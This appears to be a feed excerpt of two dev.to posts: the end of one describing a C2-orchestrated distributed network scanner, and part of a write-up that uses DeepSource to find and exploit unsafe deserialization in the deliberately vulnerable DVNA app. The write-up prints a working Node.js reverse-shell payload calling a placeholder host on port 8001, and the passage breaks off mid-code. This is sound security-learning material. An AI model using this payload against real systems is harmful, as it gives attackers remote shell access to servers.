&lt;p&gt;&lt;strong&gt;Vertical scaling&lt;/strong&gt;, simply could be defined as the augmentation of the capacities (CPU, RAM, Disks size, bandwidth) or a unique computing device, to handle the increase in load/scale of a computational activity it should perform.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Horizontal scaling&lt;/strong&gt; on the other hand addresses the problem of load increase/scale by uniformly spreading the computational activity to be performed over a pool of relatively medium capacity devices, such that the devices individual outputs contribute to the overall output of the system.&lt;/p&gt;

&lt;p&gt;The domain in which this concept was explored is the context of this work is that of &lt;strong&gt;network scanners&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Traditional network scanners which run on single hosts have huge performance trade-offs when we use them to scan very large IP address spaces. Their performance may increase only with increase in the available bandwidth of the device from which the scanner is run (vertical scaling)&lt;/p&gt;

&lt;p&gt;This project aims for &lt;strong&gt;exploratory purpose&lt;/strong&gt; to spread the pool of ip addresses to scan over a group of relatively medium capacity devices (horizontal scaling), in order to reduce scan time. An added advantage is that, in the case we geographically separate&lt;br&gt;
the scanner nodes (we call them bots in our system), the scan results will reflect each node’s unique view of the network.&lt;/p&gt;

&lt;h2&gt;
  
  
  Overall architecture
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdimicpbk4op4ahnvfgc5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdimicpbk4op4ahnvfgc5.png" alt="Overall system architecture"&gt;&lt;/a&gt;&lt;em&gt;Fig 1.0: Overall system architecture&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;BotPool:&lt;/strong&gt;&lt;br&gt;
The BotPool is a set of general purpose machines(virtual machines) equipped with a GOLANG based agent, dedicated to receiving scan tasks from the server, running them and feeding back the server with the results of the scan.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;C2 Server:&lt;/strong&gt;&lt;br&gt;
The Command and Control Server (C2) is the core/main server with responsibilities of scheduling/orchestrating scan tasks for bots of the botpool.&lt;br&gt;
It receives scan jobs from the Operators, breaks them into smaller trackable tasks for the botpool, and stores the results of the scan for subsequent visual reporting.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Backend Services:&lt;/strong&gt;&lt;br&gt;
The various responsibilities of the C2 server are broken down into independent collaborating domains of responsibilities. They are the ones which collaborate together to realize each of the&lt;br&gt;
expected responsibilities of the overall system required by external actors.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;C2 Operator Space:&lt;/strong&gt;&lt;br&gt;
The Operator space consists mainly of a very simple Command Line Utility from which he can push new scan jobs to the system, and a web-based Grafana interface for statistics visualizations.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu9nva9uzqfbg8hihll3s.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu9nva9uzqfbg8hihll3s.png" alt="Operator CLI"&gt;&lt;/a&gt;&lt;em&gt;Fig 1.1: Operator CLI&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fon9y6xkrjubs5rilgvq9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fon9y6xkrjubs5rilgvq9.png" alt="Operator grafana Dashboard"&gt;&lt;/a&gt;&lt;em&gt;Fig 1.2: Operator Grafana Dashboard&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Intended workflow
&lt;/h2&gt;

&lt;p&gt;We define the following entities within a successful work session of the system.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feafhr4ldsgt7lxnw74lt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feafhr4ldsgt7lxnw74lt.png" alt="System entities description"&gt;&lt;/a&gt;&lt;em&gt;Fig 2.0: System Entities  description&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;And The following sequence of actions describe a successful session in our system&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Discovery (Tracking phases)
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkglr4ukfcrm1y68a6fs4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkglr4ukfcrm1y68a6fs4.png" alt="Discovery phase"&gt;&lt;/a&gt;&lt;em&gt;Fig 2.1: Discovery Phase&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;During this phase of our system, live worker bots advertise their presence to the main server for prior registration.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Job Queueing By Operator
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F585ju8bkimbeogkyegx3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F585ju8bkimbeogkyegx3.png" alt="Job Queuing by operator"&gt;&lt;/a&gt;&lt;em&gt;Fig 2.2: Job Queuing and task breakdown&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The system operator provides a scan job against a designated network (0.0.0.0/8) in our example.&lt;br&gt;
This subnet is broken down by the server into smaller chunks, and queued for tracking.&lt;br&gt;
The smaller chunks are later referred to as Tasks in our system, we consider a Job to be made up of multiple Tasks.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Pool Feeding
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftrdz8xf1i85mpwdkjy2i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftrdz8xf1i85mpwdkjy2i.png" alt="Pool feeding"&gt;&lt;/a&gt;&lt;em&gt;Fig 2.3: Pool feeding&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Tasks (scan chunks) are progressively dequeued from the Job Queue, and assigned to the live bots who initially announced themselves to the server.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw7m9uppeg1ee8l4soj6c.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw7m9uppeg1ee8l4soj6c.png" alt="Reports from Pool"&gt;&lt;/a&gt;&lt;em&gt;Fig 2.4: Pool feeding&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Results from executing the Tasks are sent back to the server by the bot, which in turn provides them to the Operator.&lt;/p&gt;

&lt;h2&gt;
  
  
  Links
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Source : &lt;a href="https://github.com/r0psteev/cthulu-net" rel="noopener noreferrer"&gt;https://github.com/r0psteev/cthulu-net&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Demo : &lt;a href="https://youtu.be/mk22sYc7R1o" rel="noopener noreferrer"&gt;https://youtu.be/mk22sYc7R1o&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
    </item>
    <item>
      <title>DeepSource - From Vulnerability discovery to Exploit development</title>
      <dc:creator>r0psteev</dc:creator>
      <pubDate>Tue, 01 Nov 2022 23:56:17 +0000</pubDate>
      <link>https://dev.to/r0psteev/deepsource-from-vulnerability-discovery-to-exploit-development-3738</link>
      <guid>https://dev.to/r0psteev/deepsource-from-vulnerability-discovery-to-exploit-development-3738</guid>
      <description>&lt;h2&gt;
  
  
  I. Introduction
&lt;/h2&gt;

&lt;p&gt;This post is the result of some recent experimental work with DeepSource, one the many Static Application Security Testing Tools out there, and highlights some of the insights i was able to gain during my learning process.&lt;/p&gt;

&lt;h2&gt;
  
  
  II. About DeepSource
&lt;/h2&gt;

&lt;p&gt;DeepSource is a powerful SAST engine offered as a convenient web application from which vulnerability analysis of a codebase can be conducted without requiring highly performant on premise resources. DeepSource works on the main concepts of &lt;strong&gt;Analyzers&lt;/strong&gt; and &lt;strong&gt;Transformers&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Analyzers&lt;/strong&gt; are language specific parsers, capable of detecting security issues in code as well as common programming antipatterns which may result in unstable conditions within the  software.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Transformers&lt;/strong&gt; on the other hand are roughly linters, and code formatters specific to every supported language which will format and style codes pushed to repositories linked to DeepSource based on the programming language's specification for good coding style.&lt;/p&gt;

&lt;h2&gt;
  
  
  III. The Tested Codebase: DVNA
&lt;/h2&gt;

&lt;p&gt;Damn Vulnerable Node App (&lt;a href="https://github.com/appsecco/dvna.git" rel="noopener noreferrer"&gt;dvna&lt;/a&gt;) was the target codebase used in this exercise. It is an intentionally vulnerable nodejs application with reasonable codebase size.&lt;/p&gt;

&lt;p&gt;In total, 4 classes of vulnerabilities were identified by DeepSource within this codebase.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxwpnvg1l1azovqihwtcu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxwpnvg1l1azovqihwtcu.png" alt="Vulnerabilities reported by DeepSource"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  IV. Focus on Deserialization
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Description
&lt;/h3&gt;

&lt;p&gt;Deepsource identified a zone in the code vulnerable to unsafe deserialization of user supplied objects.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Serialization&lt;/strong&gt; is the process of converting runtime objects and data structures into a form that is easily transferable over the network (JSON, binary blob, … etc) or for storage on disk. Serialization is really appreciated by programmers as it helps to snapshot runtime entities (objects/data) into a static form which could be stored as is on disk or shared over a network.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Deserialization&lt;/strong&gt; on the other hand is the reverse process, which involves recovering the original objects or structures from their minified/encoded static representations. &lt;/p&gt;

&lt;p&gt;When user supplied input is not properly sanitized before deserialization, a situation of arbitrary code execution could arise, because functions too can be serialized and deserialized.&lt;br&gt;
Hence a malicious user may craft serialized objects (with embedded functions) which when deserialized by the backend system will detonate the malicious functions embedded in them, and achieve the purpose coded in them.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4yl5a03mjeayy9pk057q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4yl5a03mjeayy9pk057q.png" alt="Code Section vulnerable to unsafe deserialization"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Further inspection of the reported line suggests that the concerned code section deserialized user-supplied &lt;strong&gt;products&lt;/strong&gt; in some way, and saved them to the backend system.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcll4grtrsdmvt0mzapro.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcll4grtrsdmvt0mzapro.png" alt="Closer look at vulnerable code section"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And the deserialization library used is  node-serialize.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftuycdmwnioyo6inquxwy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftuycdmwnioyo6inquxwy.png" alt="node-serialize imported for deserialization"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The deserialized products have the following structure.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb4hinf2dsdk1nqt7fljt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb4hinf2dsdk1nqt7fljt.png" alt="Structure of deserialized product object"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So, we could technically forge our own product that adheres to this same structure, but replace one of the attributes with a function which will be immediately invoked once the object gets deserialized on the backend.&lt;/p&gt;
&lt;h3&gt;
  
  
  Exploiting the Vulnerability
&lt;/h3&gt;

&lt;p&gt;To attempt exploiting This vulnerability,  a local docker instance of the vulnerable service, was deployed for testing&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyjnj5h0ma98qxs8wqu6p.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyjnj5h0ma98qxs8wqu6p.png" alt="Local Docker Instance for DVNA testing"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;
  
  
  1. First we learn how to craft legit objects which can get accepted by the backend without any errors based on the &lt;strong&gt;Product&lt;/strong&gt; object model
&lt;/h4&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5uvij21tnhkqdzc28pcp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5uvij21tnhkqdzc28pcp.png" alt="Crafting valid objects for the backend"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The serialized json object is put into an array because the backend expects several serialized products to be given to it at that endpoint.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6j2mu7wmk85kklmputiu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6j2mu7wmk85kklmputiu.png" alt="Save object to json array"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuxo73o4bszpy2fqztk4s.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuxo73o4bszpy2fqztk4s.png" alt="DVNA expects a JSON array of serialized product objects"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We save this output to &lt;strong&gt;test.json&lt;/strong&gt; and submit to the web application.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9mimjrno0kcxai043yz8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9mimjrno0kcxai043yz8.png" alt="Upload test.json containing our serialized object"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The backend successfully deserialized our object and added it to its product list.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwur6indf4npupd8tvn4c.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwur6indf4npupd8tvn4c.png" alt="Our object got added to product list of backend"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;
  
  
  2. Now that we know how to craft valid objects for the backend, we need to try making malicious ones which get us some custom code executed at the backend during deserialization time.
&lt;/h4&gt;

&lt;p&gt;To Achieve this aim, the ideal kind of javascript construct is an &lt;strong&gt;Immediately Invoked Function Expression &lt;br&gt;
(IIFE).&lt;/strong&gt;, it is one  which gets immediately executed once referenced or read.&lt;/p&gt;

&lt;p&gt;So the plan is as follows, we know that when we send a valid javascript object to the backend, some of its fields such &lt;strong&gt;name&lt;/strong&gt;, &lt;strong&gt;code&lt;/strong&gt;, &lt;strong&gt;tags&lt;/strong&gt; and &lt;strong&gt;description&lt;/strong&gt; get referenced when the backend attempt to assign them to a new instance of product it creates for itself. To leverage this behavior, what we simply need to do is to feed in and IIFE to one of this fields so that when the backend references (attempts to read) that field, the IIFE immediately executes whatsoever arbitrary code we placed in it.&lt;/p&gt;

&lt;p&gt;Below is a sample javascript reverse shell, in IIFE mode and in non-IIFE mode, we will leverage the IIFE version in our subsequent malicious object.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Immediately invoked (IIFE)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;
    &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;net&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;net&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="nx"&gt;cp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;child_process&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="nx"&gt;sh&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;cp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;spawn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/bin/sh&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[]);&lt;/span&gt;
    &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;client&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;net&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Socket&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="nx"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;8001&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;IP&amp;gt;&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;
        &lt;span class="nx"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pipe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sh&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;stdin&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nx"&gt;sh&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;stdout&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pipe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;client&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nx"&gt;sh&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;stderr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pipe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;client&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sr"&gt;/a/&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Prevents the Node.js application from crashing&lt;/span&gt;
&lt;span class="p"&gt;})();&lt;/span&gt;


&lt;span class="c1"&gt;// Not Immediately invoked&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;
    &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;net&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;net&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="nx"&gt;cp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;child_process&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="nx"&gt;sh&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;cp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;spawn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/bin/sh&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[]);&lt;/span&gt;
    &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;client&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;net&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Socket&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="nx"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;8001&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;IP&amp;gt;&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;
        &lt;span class="nx"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pipe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sh&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;stdin&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nx"&gt;sh&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;stdout&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pipe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;client&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
